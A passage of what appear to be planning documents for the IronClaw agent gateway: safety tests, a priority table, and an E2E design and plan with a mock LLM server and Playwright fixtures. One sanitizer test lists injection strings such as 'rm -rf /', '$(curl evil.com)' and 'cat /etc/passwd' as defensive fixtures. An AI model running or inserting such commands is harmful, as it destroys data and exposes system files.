assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
}
#[test]
fn shell_env_scrubbing_removes_secrets() {
let env = scrubbed_env();
assert!(!env.contains_key("OPENAI_API_KEY"));
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
assert!(!env.contains_key("DATABASE_URL"));
// Safe vars preserved
assert!(env.contains_key("PATH"));
assert!(env.contains_key("HOME"));
}
#[test]
fn leak_detector_catches_api_keys_in_output() {
let detector = LeakDetector::default();
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
let result = detector.scan(output);
assert!(result.has_leaks());
}
#[test]
fn sanitizer_blocks_command_injection() {
let sanitizer = Sanitizer::new();
let inputs = vec![
"hello; rm -rf /",
"$(curl evil.com)",
"hello\n`whoami`",
"test && cat /etc/passwd",
];
for input in inputs {
let result = sanitizer.sanitize(input);
assert_ne!(result, input, "injection not caught: {input}");
}
}
```
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
---
## Implementation Priority
| Priority | Tier | Item | Effort | Bugs Prevented |
|----------|------|------|--------|----------------|
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
| P3 | 3.1-3.2 | E2E infrastructure | 3-5 days | Enables all Tier 3 tests |
| P3 | 3.3 | E2E scenarios (7 total) | 1 day each | UI/SSE/reconnect bugs |
| P3 | 4.2 | Concurrent job stress | 1 day | State corruption |
| P3 | 4.4 | Estimator boundaries | 0.5 day | Panics on edge inputs |
## Open Questions
1. **Computer use cost**: Claude computer use API calls with screenshots are expensive. Should E2E tests run daily, weekly, or only on release branches?
2. **LLM for E2E**: Local Ollama vs mock server vs recorded responses? Ollama is realistic but slow in CI. Mock is fast but requires fixture maintenance.
3. **TUI testing**: The TUI (Ratatui) is harder to test with computer use than the web UI. Options: (a) skip TUI E2E, rely on unit tests, (b) use a PTY + expect-style automation (pexpect), (c) use computer use with a terminal emulator in the browser (xterm.js). Recommendation: (b) for wizard, skip TUI E2E otherwise.
4. **Test database**: Should integration tests use libSQL in-memory mode, or invest in a proper in-memory `Database` trait implementation? libSQL is simpler but couples tests to one backend.
5. **Existing manual test skill**: The `skills/web-ui-test/SKILL.md` checklist should be marked as superseded once the E2E scenarios in Tier 3 cover the same ground, or kept as a human-readable reference.
@@ -0,0 +1,354 @@
# E2E Testing Infrastructure Design
**Date:** 2026-02-24
**Status:** Approved
**Goal:** Deterministic browser-level E2E tests for the IronClaw web gateway using Python + Playwright, with a mock LLM backend for CI reliability.
---
## Decisions
| Decision | Choice | Rationale |
|----------|--------|-----------|
| Assertion style | Deterministic DOM-first | Claude vision optional later; DOM assertions are fast, cheap, reliable |
| Language | Python + pytest + Playwright | Rich browser automation ecosystem, async/await, separate from Rust tests |
| LLM backend | Mock HTTP server | Canned OpenAI-compat responses; deterministic, fast, zero cost |
| Initial scope | 3 scenarios | Connection + Chat + Skills; covers highest-bug-rate areas |
| Architecture | Subprocess + Playwright | Tests the real binary end-to-end; proven pattern from existing ws_gateway tests |
---
## Architecture
```
pytest
|
+----------+-----------+
| |
mock_llm.py ironclaw binary
(canned responses) (cargo build --features libsql)
127.0.0.1:{port} 127.0.0.1:{port}
| |
+----------+-----------+
|
Playwright
(headless Chromium)
DOM assertions
```
**Flow:**
1. pytest session starts
2. Session-scoped fixture builds ironclaw binary (or reuses cached)
3. Session-scoped fixture starts mock LLM on OS-assigned port
4. Session-scoped fixture starts ironclaw subprocess pointing to mock LLM, gateway on OS-assigned port, libSQL in-memory
5. Function-scoped fixture launches Playwright browser, navigates to gateway with auth token
6. Each test uses Playwright locators + DOM assertions
7. Teardown kills ironclaw and mock LLM
---
## Directory Structure
```
tests/e2e/
conftest.py # pytest fixtures: build binary, start ironclaw, mock LLM, browser
mock_llm.py # OpenAI-compat HTTP server with canned responses
helpers.py # Shared utilities (wait_for_ready, selectors)
scenarios/
__init__.py
test_connection.py # Auth, tab navigation, connection status
test_chat.py # Send message, SSE streaming, response rendering
test_skills.py # Search, install, remove lifecycle
pyproject.toml # Dependencies
README.md # How to run locally and in CI
```
---
## Mock LLM Server
A minimal async HTTP server that speaks the OpenAI Chat Completions API.
**Endpoint:** `POST /v1/chat/completions`
**Behavior:**
- Parses the `messages` array from the request body
- Pattern-matches the last user message content to select a canned response
- Returns a well-formed `ChatCompletionResponse` with `id`, `choices[0].message`, `usage`
- Supports `stream: true` by returning SSE chunks with `delta` objects (critical: IronClaw streams responses via SSE to the browser)
**Canned response table:**
| Pattern (regex) | Response |
|-----------------|----------|
| `hello\|hi\|hey` | `Hello! How can I help you today?` |
| `2\+2\|2 \+ 2\|two plus two` | `The answer is 4.` |
| `skill\|install` | `I can help you with skills management.` |
| `.*` (default) | `I understand your request.` |
**Streaming format:**
```
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"role":"assistant","content":"The "},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{"content":"answer is 4."},"finish_reason":null}]}
data: {"id":"mock-1","object":"chat.completion.chunk","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}
data: [DONE]
```
**Implementation:** `aiohttp.web` (async, lightweight). No tool call support needed for initial 3 scenarios.
**Health check:** `GET /v1/models` returns `{"data": [{"id": "mock-model"}]}`.
---
## Fixtures
### Session-scoped (run once per test session)
**`ironclaw_binary`**
- Checks if `./target/debug/ironclaw` exists
- If missing or stale, runs `cargo build --no-default-features --features libsql`
- Returns the binary path
- Timeout: 300s (first build can be slow)
**`mock_llm_server`**
- Starts `mock_llm.py` as subprocess on `127.0.0.1:0` (OS-assigned port)
- Parses port from stdout (server prints `Mock LLM listening on 127.0.0.1:{port}`)
- Polls `GET /v1/models` until ready (timeout 10s)
- Yields `(process, url)`
- Kills process on teardown
**`ironclaw_server(ironclaw_binary, mock_llm_server)`**
- Starts the ironclaw binary with environment:
```
GATEWAY_ENABLED=true
GATEWAY_HOST=127.0.0.1
GATEWAY_PORT=0
GATEWAY_AUTH_TOKEN=e2e-test-token
GATEWAY_USER_ID=e2e-tester
CLI_ENABLED=false
LLM_BACKEND=openai_compatible
LLM_BASE_URL={mock_llm_url}
LLM_MODEL=mock-model
DATABASE_BACKEND=libsql
LIBSQL_PATH=:memory:
SANDBOX_ENABLED=false
SKILLS_ENABLED=true
ROUTINES_ENABLED=false
HEARTBEAT_ENABLED=false
```
- Parses actual gateway port from ironclaw stdout (`Gateway listening on 127.0.0.1:XXXX`)
- Polls `GET /api/status` until ready (timeout 60s)
- Yields the base URL (`http://127.0.0.1:{port}`)
- Sends SIGTERM on teardown, SIGKILL after 5s grace
### Function-scoped (fresh per test)
**`page(ironclaw_server)`**
- Launches Playwright Chromium (headless)
- Creates new browser context (isolated cookies/storage)
- Creates new page with viewport 1280x720
- Navigates to `{base_url}/?token=e2e-test-token`
- Waits for network idle
- Yields the `Page` object
- Closes browser context on teardown
---
## Test Scenarios
### Scenario 1: Connection and Tab Navigation (`test_connection.py`)
Tests auth, initial page load, and tab switching.
```
test_page_loads_and_connects:
1. Assert page title or main container is visible
2. Assert connection status indicator shows "Connected" (or equivalent)
3. Assert all 6 tab buttons visible: Chat, Memory, Jobs, Routines, Extensions, Skills
test_tab_navigation:
1. For each tab in [Chat, Memory, Jobs, Routines, Extensions, Skills]:
a. Click the tab button
b. Assert the corresponding panel container becomes visible
c. Assert no error toasts appear
2. Return to Chat tab
3. Assert chat input is visible and focusable
test_auth_rejection:
1. Navigate to base_url without token (no ?token= param)
2. Assert auth screen / login prompt appears (not the main app)
```
### Scenario 2: Chat Message Round-Trip (`test_chat.py`)
Tests the full message flow: user input -> gateway -> mock LLM -> SSE -> browser rendering.
```
test_send_message_and_receive_response:
1. Locate chat input element
2. Type "What is 2+2?"
3. Press Enter (or click Send button)
4. Wait for assistant message to appear (timeout 15s)
5. Assert user message bubble contains "What is 2+2?"
6. Assert assistant message bubble contains "4"
7. Assert no error toasts visible
test_multiple_messages:
1. Send "Hello"
2. Wait for response containing "Hello" or "help"
3. Send "What is 2+2?"
4. Wait for response containing "4"
5. Assert message count >= 4 (2 user + 2 assistant)
test_empty_message_not_sent:
1. Focus chat input
2. Press Enter with empty input
3. Assert no new messages appear after 2s
```
### Scenario 3: Skills Lifecycle (`test_skills.py`)
Tests ClawHub search, install, and remove through the browser UI.
Note: ClawHub registry blocks non-browser TLS fingerprints but Playwright is a real browser, so this works. Tests are skipped if ClawHub is unreachable.
```
test_skills_tab_visible:
1. Click Skills tab
2. Assert skills panel is visible
3. Assert search input is present
test_skills_search:
1. Click Skills tab
2. Type "markdown" in search input
3. Click Search (or press Enter)
4. Wait for results (timeout 15s)
5. Assert at least one result card is visible
6. Assert result cards contain: name, version, description fields
test_skills_install_and_remove:
1. Search for a skill
2. Override window.confirm to auto-accept: page.evaluate("window.confirm = () => true")
3. Click Install on first result
4. Wait for installed skills list to update (timeout 15s)
5. Assert skill appears in installed section
6. Click Remove on the installed skill
7. Wait for installed section to update
8. Assert skill is gone from installed list
```
---
## Port Discovery
IronClaw logs `Gateway listening on 127.0.0.1:XXXX` at startup. The fixture reads stdout line-by-line until it finds this pattern, extracts the port.
```python
async def wait_for_port(process, pattern=r"Gateway listening on .+:(\d+)", timeout=60):
"""Read process stdout until we find the listening port."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
line = await asyncio.wait_for(
process.stdout.readline(), timeout=deadline - time.monotonic()
)
if match := re.search(pattern, line.decode()):
return int(match.group(1))
raise TimeoutError("ironclaw did not report listening port")
```
Same pattern for the mock LLM server.
---
## Dependencies
```toml
# tests/e2e/pyproject.toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
```
---
## CI Integration
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- 'src/channels/web/**'
- 'tests/e2e/**'
jobs:
e2e:
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: target
key: e2e-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
```
**Trigger policy:** Weekly + manual + PRs touching web gateway or E2E tests. Not on every PR.
---
## Future: Claude Vision Layer
Not in initial scope. Design accommodates it via:
- `conftest.py` fixture `claude_vision` wrapping `anthropic.Anthropic()`
- Helper `assert_visually(page, prompt)`: takes screenshot, sends to Claude vision API, asserts response
- Gated behind `@pytest.mark.vision`, only runs when `ANTHROPIC_API_KEY` is set
- Use cases: "no raw HTML visible in chat", "markdown renders correctly", "no layout breakage"
---
## Success Criteria
1. `pytest tests/e2e/ -v` passes locally with a pre-built ironclaw binary
2. All 3 scenarios (connection, chat, skills) exercise real browser interactions
3. Mock LLM provides deterministic responses (no flaky tests from LLM randomness)
4. CI workflow runs on web gateway changes and weekly schedule
5. Test failures produce clear error messages with screenshot artifacts
+952
View File
@@ -0,0 +1,952 @@
# E2E Testing Infrastructure Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Build a Python + Playwright E2E testing framework that exercises the IronClaw web gateway through a real browser against the real binary with a mock LLM backend.
**Architecture:** pytest session fixtures start a mock OpenAI-compat HTTP server and the ironclaw binary (libSQL in-memory, gateway enabled), then per-test Playwright browser instances navigate to the gateway and make DOM assertions.
**Tech Stack:** Python 3.11+, pytest, pytest-asyncio, playwright, aiohttp
**Design doc:** `docs/plans/2026-02-24-e2e-infrastructure-design.md`
---
### Task 1: Project scaffolding and pyproject.toml
**Files:**
- Create: `tests/e2e/pyproject.toml`
- Create: `tests/e2e/scenarios/__init__.py`
**Step 1: Create pyproject.toml**
```toml
[project]
name = "ironclaw-e2e"
version = "0.1.0"
requires-python = ">=3.11"
dependencies = [
"pytest>=8.0",
"pytest-asyncio>=0.23",
"pytest-playwright>=0.5",
"playwright>=1.40",
"aiohttp>=3.9",
"httpx>=0.27",
]
[project.optional-dependencies]
vision = [
"anthropic>=0.40",
]
[tool.pytest.ini_options]
asyncio_mode = "auto"
timeout = 120
```
**Step 2: Create empty __init__.py**
Create `tests/e2e/scenarios/__init__.py` as an empty file.
**Step 3: Verify install works**
Run:
```bash
cd tests/e2e && pip install -e . && playwright install chromium
```
Expected: Clean install, no errors.
**Step 4: Commit**
```bash
git add tests/e2e/pyproject.toml tests/e2e/scenarios/__init__.py
git commit -m "scaffold: E2E test project with pyproject.toml"
```
---
### Task 2: Mock LLM server
**Files:**
- Create: `tests/e2e/mock_llm.py`
**Step 1: Write the mock LLM server**
The server must:
- Listen on `127.0.0.1` with a port passed via `--port` CLI arg (default 0 for OS-assigned)
- Print `MOCK_LLM_PORT={port}` to stdout on startup (for fixture to parse)
- Handle `POST /v1/chat/completions` with both streaming and non-streaming modes
- Handle `GET /v1/models` for health checks
- Pattern-match the last user message to select canned responses
- Support `stream: true` with proper SSE chunk format (critical for IronClaw's streaming)
```python
"""Mock OpenAI-compatible LLM server for E2E tests."""
import argparse
import json
import re
import time
import uuid
from aiohttp import web
CANNED_RESPONSES = [
(re.compile(r"hello|hi|hey", re.IGNORECASE), "Hello! How can I help you today?"),
(re.compile(r"2\s*\+\s*2|two plus two", re.IGNORECASE), "The answer is 4."),
(re.compile(r"skill|install", re.IGNORECASE), "I can help you with skills management."),
]
DEFAULT_RESPONSE = "I understand your request."
def match_response(messages: list[dict]) -> str:
"""Find canned response for the last user message."""
for msg in reversed(messages):
if msg.get("role") == "user":
content = msg.get("content", "")
# Handle content that may be a list (multi-modal)
if isinstance(content, list):
content = " ".join(
part.get("text", "") for part in content if part.get("type") == "text"
)
for pattern, response in CANNED_RESPONSES:
if pattern.search(content):
return response
return DEFAULT_RESPONSE
return DEFAULT_RESPONSE
async def chat_completions(request: web.Request) -> web.StreamResponse:
"""Handle POST /v1/chat/completions."""
body = await request.json()
messages = body.get("messages", [])
stream = body.get("stream", False)
response_text = match_response(messages)
completion_id = f"mock-{uuid.uuid4().hex[:8]}"
if not stream:
return web.json_response({
"id": completion_id,
"object": "chat.completion",
"created": int(time.time()),
"model": "mock-model",
"choices": [{
"index": 0,
"message": {"role": "assistant", "content": response_text},
"finish_reason": "stop",
}],
"usage": {"prompt_tokens": 10, "completion_tokens": len(response_text.split()), "total_tokens": 15},
})
# Streaming response: split into word-boundary chunks
resp = web.StreamResponse(
status=200,
headers={"Content-Type": "text/event-stream", "Cache-Control": "no-cache"},
)
await resp.prepare(request)
# First chunk: role
chunk = {
"id": completion_id,
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "mock-model",
"choices": [{"index": 0, "delta": {"role": "assistant", "content": ""}, "finish_reason": None}],
}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Content chunks: split on spaces
words = response_text.split(" ")
for i, word in enumerate(words):
text = word if i == 0 else f" {word}"
chunk["choices"][0]["delta"] = {"content": text}
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
# Final chunk: finish_reason
chunk["choices"][0]["delta"] = {}
chunk["choices"][0]["finish_reason"] = "stop"
await resp.write(f"data: {json.dumps(chunk)}\n\n".encode())
await resp.write(b"data: [DONE]\n\n")
return resp
async def models(_request: web.Request) -> web.Response:
"""Handle GET /v1/models."""
return web.json_response({
"object": "list",
"data": [{"id": "mock-model", "object": "model", "owned_by": "test"}],
})
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--port", type=int, default=0)
args = parser.parse_args()
app = web.Application()
app.router.add_post("/v1/chat/completions", chat_completions)
app.router.add_get("/v1/models", models)
# Use aiohttp's runner to get the actual bound port
import asyncio
async def start():
runner = web.AppRunner(app)
await runner.setup()
site = web.TCPSite(runner, "127.0.0.1", args.port)
await site.start()
# Extract the actual port from the bound socket
port = site._server.sockets[0].getsockname()[1]
print(f"MOCK_LLM_PORT={port}", flush=True)
# Block forever
await asyncio.Event().wait()
asyncio.run(start())
if __name__ == "__main__":
main()
```
**Step 2: Verify it starts and responds**
Run:
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -s http://127.0.0.1:18080/v1/models | python -m json.tool
curl -s -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"What is 2+2?"}],"model":"mock"}'
kill %1
```
Expected: Models endpoint returns `{"data": [{"id": "mock-model", ...}]}`. Chat returns response containing "4".
**Step 3: Verify streaming**
```bash
python tests/e2e/mock_llm.py --port 18080 &
curl -sN -X POST http://127.0.0.1:18080/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"messages":[{"role":"user","content":"Hello"}],"model":"mock","stream":true}'
kill %1
```
Expected: SSE chunks ending with `data: [DONE]`.
**Step 4: Commit**
```bash
git add tests/e2e/mock_llm.py
git commit -m "feat: mock OpenAI-compat LLM server for E2E tests"
```
---
### Task 3: Helpers module
**Files:**
- Create: `tests/e2e/helpers.py`
**Step 1: Write helpers**
```python
"""Shared helpers for E2E tests."""
import asyncio
import re
import time
import httpx
# ── DOM Selectors ────────────────────────────────────────────────────────
# Keep all selectors in one place so changes to the frontend only need
# one update.
SEL = {
# Auth
"auth_screen": "#auth-screen",
"token_input": "#token-input",
# Connection
"sse_status": "#sse-status",
# Tabs
"tab_button": '.tab-bar button[data-tab="{tab}"]',
"tab_panel": "#tab-{tab}",
# Chat
"chat_input": "#chat-input",
"chat_messages": "#chat-messages",
"message_user": "#chat-messages .message.user",
"message_assistant": "#chat-messages .message.assistant",
# Skills
"skill_search_input": "#skill-search-input",
"skill_search_results": "#skill-search-results",
"skill_search_result": ".skill-search-result",
"skill_installed": "#installed-skills .ext-card",
}
TABS = ["chat", "memory", "jobs", "routines", "extensions", "skills"]
# Auth token used across all tests
AUTH_TOKEN = "e2e-test-token"
async def wait_for_ready(url: str, *, timeout: float = 60, interval: float = 0.5):
"""Poll a URL until it returns 200 or timeout."""
deadline = time.monotonic() + timeout
async with httpx.AsyncClient() as client:
while time.monotonic() < deadline:
try:
resp = await client.get(url, timeout=5)
if resp.status_code == 200:
return
except (httpx.ConnectError, httpx.ReadError, httpx.TimeoutException):
pass
await asyncio.sleep(interval)
raise TimeoutError(f"Service at {url} not ready after {timeout}s")
async def wait_for_port_line(process, pattern: str, *, timeout: float = 60) -> int:
"""Read process stdout line by line until a port-bearing line matches."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
remaining = deadline - time.monotonic()
if remaining <= 0:
break
try:
line = await asyncio.wait_for(process.stdout.readline(), timeout=remaining)
except asyncio.TimeoutError:
break
decoded = line.decode("utf-8", errors="replace").strip()
if match := re.search(pattern, decoded):
return int(match.group(1))
raise TimeoutError(f"Port pattern '{pattern}' not found in stdout after {timeout}s")
```
**Step 2: Commit**
```bash
git add tests/e2e/helpers.py
git commit -m "feat: E2E helpers with DOM selectors and port discovery"
```
---
### Task 4: conftest.py fixtures
**Files:**
- Create: `tests/e2e/conftest.py`
**Step 1: Write the fixtures**
Key details from codebase research:
- IronClaw logs `Web UI: http://{host}:{port}/` to stdout (main.rs:508) using the config port, not the bound port. So we must use a fixed port, not port 0.
- Health endpoint: `GET /api/health` (public, no auth required)
- Auth via `?token=` query parameter for the frontend auto-auth flow
- The frontend hides `#auth-screen` when token is valid and SSE connects
```python
"""pytest fixtures for E2E tests.
Session-scoped: build binary, start mock LLM, start ironclaw.
Function-scoped: fresh Playwright browser page per test.
"""
import asyncio
import os
import signal
import subprocess
import sys
from pathlib import Path
import pytest
from helpers import AUTH_TOKEN, wait_for_port_line, wait_for_ready
# Project root (two levels up from tests/e2e/)
ROOT = Path(__file__).resolve().parent.parent.parent
# Ports: use high fixed ports to avoid conflicts with development instances
MOCK_LLM_PORT = 18_199
GATEWAY_PORT = 18_200
@pytest.fixture(scope="session")
def ironclaw_binary():
"""Ensure ironclaw binary is built. Returns the binary path."""
binary = ROOT / "target" / "debug" / "ironclaw"
if not binary.exists():
print("Building ironclaw (this may take a while)...")
subprocess.run(
["cargo", "build", "--no-default-features", "--features", "libsql"],
cwd=ROOT,
check=True,
timeout=600,
)
assert binary.exists(), f"Binary not found at {binary}"
return str(binary)
@pytest.fixture(scope="session")
def event_loop():
"""Create a session-scoped event loop for async fixtures."""
loop = asyncio.new_event_loop()
yield loop
loop.close()
@pytest.fixture(scope="session")
async def mock_llm_server():
"""Start the mock LLM server. Yields the base URL."""
server_script = Path(__file__).parent / "mock_llm.py"
proc = await asyncio.create_subprocess_exec(
sys.executable, str(server_script), "--port", str(MOCK_LLM_PORT),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
try:
port = await wait_for_port_line(proc, r"MOCK_LLM_PORT=(\d+)", timeout=10)
url = f"http://127.0.0.1:{port}"
await wait_for_ready(f"{url}/v1/models", timeout=10)
yield url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture(scope="session")
async def ironclaw_server(ironclaw_binary, mock_llm_server):
"""Start the ironclaw gateway. Yields the base URL."""
env = {
**os.environ,
"RUST_LOG": "ironclaw=info",
"GATEWAY_ENABLED": "true",
"GATEWAY_HOST": "127.0.0.1",
"GATEWAY_PORT": str(GATEWAY_PORT),
"GATEWAY_AUTH_TOKEN": AUTH_TOKEN,
"GATEWAY_USER_ID": "e2e-tester",
"CLI_ENABLED": "false",
"LLM_BACKEND": "openai_compatible",
"LLM_BASE_URL": mock_llm_server,
"LLM_MODEL": "mock-model",
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
"ROUTINES_ENABLED": "false",
"HEARTBEAT_ENABLED": "false",
"EMBEDDING_ENABLED": "false",
# Prevent onboarding wizard from triggering
"ONBOARD_COMPLETED": "true",
}
proc = await asyncio.create_subprocess_exec(
ironclaw_binary,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env=env,
)
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
try:
await wait_for_ready(f"{base_url}/api/health", timeout=60)
yield base_url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture
async def page(ironclaw_server):
"""Fresh Playwright browser page, navigated to the gateway with auth."""
from playwright.async_api import async_playwright
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
context = await browser.new_context(viewport={"width": 1280, "height": 720})
pg = await context.new_page()
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
# Wait for the app to initialize (auth screen hidden, SSE connected)
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
yield pg
await context.close()
await browser.close()
```
**Step 2: Commit**
```bash
git add tests/e2e/conftest.py
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
```
---
### Task 5: Scenario 1 -- Connection and tab navigation
**Files:**
- Create: `tests/e2e/scenarios/test_connection.py`
**Step 1: Write the test**
```python
"""Scenario 1: Connection, auth, and tab navigation."""
import pytest
from helpers import AUTH_TOKEN, SEL, TABS
async def test_page_loads_and_connects(page):
"""After auth, the app shows Connected status and all tabs."""
# Connection status
status = page.locator(SEL["sse_status"])
await status.wait_for(state="visible", timeout=10000)
text = await status.text_content()
assert text is not None
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
# All 6 main tabs visible
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
async def test_tab_navigation(page):
"""Clicking each tab shows its panel."""
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
await btn.click()
panel = page.locator(SEL["tab_panel"].format(tab=tab))
await panel.wait_for(state="visible", timeout=5000)
# Return to Chat tab
await page.locator(SEL["tab_button"].format(tab="chat")).click()
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
async def test_auth_rejection(page, ironclaw_server):
"""Navigating without a token shows the auth screen."""
# Open a new page without the token
new_page = await page.context.new_page()
await new_page.goto(ironclaw_server)
auth_screen = new_page.locator(SEL["auth_screen"])
await auth_screen.wait_for(state="visible", timeout=10000)
await new_page.close()
```
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
```bash
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
```
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
**Step 3: Commit**
```bash
git add tests/e2e/scenarios/test_connection.py
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
```
---
### Task 6: Scenario 2 -- Chat message round-trip
**Files:**
- Create: `tests/e2e/scenarios/test_chat.py`
**Step 1: Write the test**
```python
"""Scenario 2: Chat message round-trip via SSE streaming."""
import pytest
from helpers import SEL
async def test_send_message_and_receive_response(page):
"""Type a message, receive a streamed response from mock LLM."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# Send message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for assistant response
assistant_msg = page.locator(SEL["message_assistant"]).last
await assistant_msg.wait_for(state="visible", timeout=15000)
# Verify user message
user_msgs = page.locator(SEL["message_user"])
assert await user_msgs.count() >= 1
last_user = user_msgs.last
user_text = await last_user.text_content()
assert "2+2" in user_text or "2 + 2" in user_text
# Verify assistant response contains "4" (from mock LLM canned response)
assistant_text = await assistant_msg.text_content()
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
async def test_multiple_messages(page):
"""Send two messages, verify both get responses."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# First message
await chat_input.fill("Hello")
await chat_input.press("Enter")
# Wait for first response
await page.locator(SEL["message_assistant"]).first.wait_for(
state="visible", timeout=15000
)
# Second message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for second response (at least 2 assistant messages)
await page.wait_for_function(
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
timeout=15000,
)
# Verify counts
user_count = await page.locator(SEL["message_user"]).count()
assistant_count = await page.locator(SEL["message_assistant"]).count()
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
async def test_empty_message_not_sent(page):
"""Pressing Enter with empty input should not create a message."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
# Press Enter with empty input
await chat_input.press("Enter")
# Wait a moment and verify no new messages
await page.wait_for_timeout(2000)
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
assert final_count == initial_count, "Empty message should not create new messages"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_chat.py
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
```
---
### Task 7: Scenario 3 -- Skills lifecycle
**Files:**
- Create: `tests/e2e/scenarios/test_skills.py`
**Step 1: Write the test**
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
```python
"""Scenario 3: Skills search, install, and remove lifecycle."""
import pytest
from helpers import SEL
async def test_skills_tab_visible(page):
"""Skills tab shows the search interface."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
await panel.wait_for(state="visible", timeout=5000)
search_input = page.locator(SEL["skill_search_input"])
assert await search_input.is_visible(), "Skills search input not visible"
async def test_skills_search(page):
"""Search ClawHub for skills and verify results appear."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
# Wait for results (ClawHub may be slow)
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
count = await results.count()
assert count >= 1, "Expected at least 1 search result"
async def test_skills_install_and_remove(page):
"""Install a skill from search results, then remove it."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
# Search
search_input = page.locator(SEL["skill_search_input"])
